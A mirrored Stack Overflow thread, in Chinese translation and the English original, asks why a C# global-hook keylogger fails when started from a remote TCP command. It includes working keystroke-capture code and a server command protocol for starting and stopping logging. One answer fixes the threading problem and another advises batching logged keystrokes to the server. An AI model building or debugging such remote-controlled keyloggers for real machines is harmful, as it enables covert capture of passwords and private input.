库在 Form1 中调用时可以工作,但在其他任何地方都不能工作

发布于 2024-11-23 22:20:45 字数 2165 浏览 1 评论 0原文

我有这个库 http://www.codeproject.com/KB/cs/globalhook.aspx
我已经下载了它并编译成DLL。
起初,我遇到了一个奇怪的问题,它在我的项目中不起作用,但它(以完全相同的代码)在演示项目中起作用,但通过应用以下消息所述修复了它:
http://www.codeproject.com/KB/cs/globalhook .aspx?msg=3505023#xx3505023xx
注意:我正在使用 .NET 4、VS 2010 Ultimate
嗯,我有一个文件 Form1.cs,它是我的应用程序的主表单。
我还有其他文件:Client.cs、Script.cs、Keylogger.cs - 不,它不是邪恶的键盘记录器 - 它用于有关安全\防病毒等的学校演示。
Keylogger.cs 有一个静态类,代码如下:

public static class Keylogger
{
    static private StreamWriter sw = null;
    static private System.Timers.Timer t = null;
    static public bool Started = false;
    static public void Start(string Location)
    {
        Started = true;
        sw = new StreamWriter(Location, true, Encoding.Default, 1);
        HookManager.KeyPress += HookManager_KeyPress;
        t = new System.Timers.Timer(3600000);
        t.Elapsed += (object sender, System.Timers.ElapsedEventArgs e) => sw.WriteLine(Environment.NewLine + "1 HOUR PASSED");
        t.Start();
    }
    static public void Stop()
    {
        if (!Started)
            throw new Exception("Keylogger is not operating at the moment.");
        Started = false;
        HookManager.KeyPress -= HookManager_KeyPress;
        t.Dispose();
        sw.Dispose();
    }

    static private void HookManager_KeyPress(object sender, KeyPressEventArgs e)
    {
        if (e.KeyChar == 8)
            sw.Write("{BACKSPACE}");
        else
            sw.Write(e.KeyChar);
    }
}

Client 类不是静态的 - 它管理与服务器的 TCP 连接,并将所有接收到的数据发送到 Script.RunScript(string scr) (静态方法)。
好吧,Script.RunScript 应该调用 Keylogger.Start(string location) 来获取某些输入 (STARTLOGGING c:\log.txt)
并调用 Keylogger.Stop() 进行某些输入(停止记录)
好吧,一切都很好,它调用了 Start,但它不起作用。
它执行整个过程(计时器、事件、流编写器等),但是当我按下某个东西时 - 整个计算机冻结几秒钟,什么也没有发生(它甚至不调用 KeyPress) - 它只在第一次发生。任何其他时间 - 它只是忽略我的按键。
有趣的是 - 如果我从我的主窗体中调用 Start (在 ctor 中,在按钮单击事件上) - 它确实有效!没有任何滞后。
我确实尝试了不同的事件(MouseDoubleClick、MouseMove),但都遇到了相同的问题。
谢谢你,马克!

I have this library http://www.codeproject.com/KB/cs/globalhook.aspx

I've downloaded it and compiled it to DLL.
At first I had a weird problem that it haven't worked in my project, but it did (in the exact same code) worked in the demo project, but it was fixed by applying what the following message said:

http://www.codeproject.com/KB/cs/globalhook.aspx?msg=3505023#xx3505023xx

Note: I'm working with .NET 4, VS 2010 Ultimate

Well, I have a file Form1.cs, which is my main form for my app.

I have other files: Client.cs, Script.cs, Keylogger.cs - no, it's not an evil keylogger - It's for a school presentation about security\antiviruses etc.

Keylogger.cs has one static class and here's the code:

public static class Keylogger
{
    static private StreamWriter sw = null;
    static private System.Timers.Timer t = null;
    static public bool Started = false;
    static public void Start(string Location)
    {
        Started = true;
        sw = new StreamWriter(Location, true, Encoding.Default, 1);
        HookManager.KeyPress += HookManager_KeyPress;
        t = new System.Timers.Timer(3600000);
        t.Elapsed += (object sender, System.Timers.ElapsedEventArgs e) => sw.WriteLine(Environment.NewLine + "1 HOUR PASSED");
        t.Start();
    }
    static public void Stop()
    {
        if (!Started)
            throw new Exception("Keylogger is not operating at the moment.");
        Started = false;
        HookManager.KeyPress -= HookManager_KeyPress;
        t.Dispose();
        sw.Dispose();
    }

    static private void HookManager_KeyPress(object sender, KeyPressEventArgs e)
    {
        if (e.KeyChar == 8)
            sw.Write("{BACKSPACE}");
        else
            sw.Write(e.KeyChar);
    }
}

The Client class isn't static - it manages a TCP connections with a server, and send all received data to Script.RunScript(string scr) (static method).

Well, Script.RunScript should invoke Keylogger.Start(string location) for some input (STARTLOGGING c:\log.txt)

And invoke Keylogger.Stop() for some input (STOPLOGGING)

Well, everything is good, it invokes Start, but it doesn't work.

It does the whole process, (timer, event, streamwriter etc) but when I press something - the whole computer freeze for a couple of seconds and nothing happened (it doesn't even invoke KeyPress) - it happens only the first time. any other time - it simply ignores my keypress.

THE FUNNY THING IS - if I call Start from my mainform (in the ctor, on a button click event) - IT DOES WORK ! without any lag.

I did try different events (MouseDoubleClick, MouseMove) and all had the same problem.

Thank you, Mark !

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(2

-黛色若梦 2024-11-30 22:20:45

UI 再次响应后出现的延迟是问题根本原因的强烈迹象。您会看到 Windows 自行修复,并注意到回调没有响应。它会自动禁用挂钩。

您可能违反的硬性要求是 SetWindowsHookEx() 调用必须从泵送消息循环的线程进行。这样 Windows 就可以在按键时中断并调用回调。当您通过单击按钮调用 Start() 方法时,效果很好,Click 事件在程序的 UI 线程上运行。

但当您通过网络事件进行此调用时,可能不会。它们往往在线程池线程上运行。从您的代码片段来看并不清楚,您没有发布代码。对于此类问题的一般修复方法是使用 Control.BeginInvoke() 将从工作线程的调用编组到 UI 线程。您可以在 MSDN 库文章中找到对此的详细描述,并在 stackoverflow.com 上找到很多很多答案。

Fwiw,由于 .NET 4 版本的 CLR 中的行为发生了变化,原始代码被破坏了。它不再伪造程序集的本机模块。解决方法已经足够好了,它只需要一个有效的模块句柄。实际的钩子并不重要,因为这不是全局钩子。

The delay followed by the UI getting responsive again is a strong sign of the underlying cause of the problem. You see Windows healing itself, noticing that the callback isn't being responsive. It automatically disables the hook.

The hard requirement you probably violate is that the SetWindowsHookEx() call must be made from a thread that pumps a message loop. So that Windows can break in on a keypress and call the callback. That works fine when you called the Start() method from a button click, the Click event runs on the UI thread of your program.

But probably not when you this call is made from a networking event. They tend to run on a threadpool thread. It isn't clear from your snippet, you didn't post the code. The generic fix for a problem like this is using Control.BeginInvoke() to marshal a call from a worker thread to the UI thread. You'll find a good description of it in the MSDN library article as well as many, many answers here at stackoverflow.com

Fwiw, the original code got broken due to changed behavior in the .NET 4 version of the CLR. It no longer fakes the native module for assemblies. The workaround is good enough, it only needs a valid module handle. The actual one doesn't matter since this is not a global hook.

枕花眠 2024-11-30 22:20:45

我认为最好的选择是不要在 UI 事件上写入网络,而是让记录器写入本地文件或内存数据库或类似文件,然后使用一个计时器定期将该消息的内容写入服务器。这样,您既可以向服务器发送更粗的消息(提高两台机器上的性能),也可以在后台线程上运行网络调用,这使得 UI 感觉更加快捷。

I think your best bet is to not write to the network on UI events, but instead have your logger write to a local file or in-memory database or similar, and then have a timer that periodically writes the content of that message to the server. That way you can both send chunkier messages to the server (improving performance on both machines) as well as have the ability to run the network call on a background thread, which makes the UI feel snappier.

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文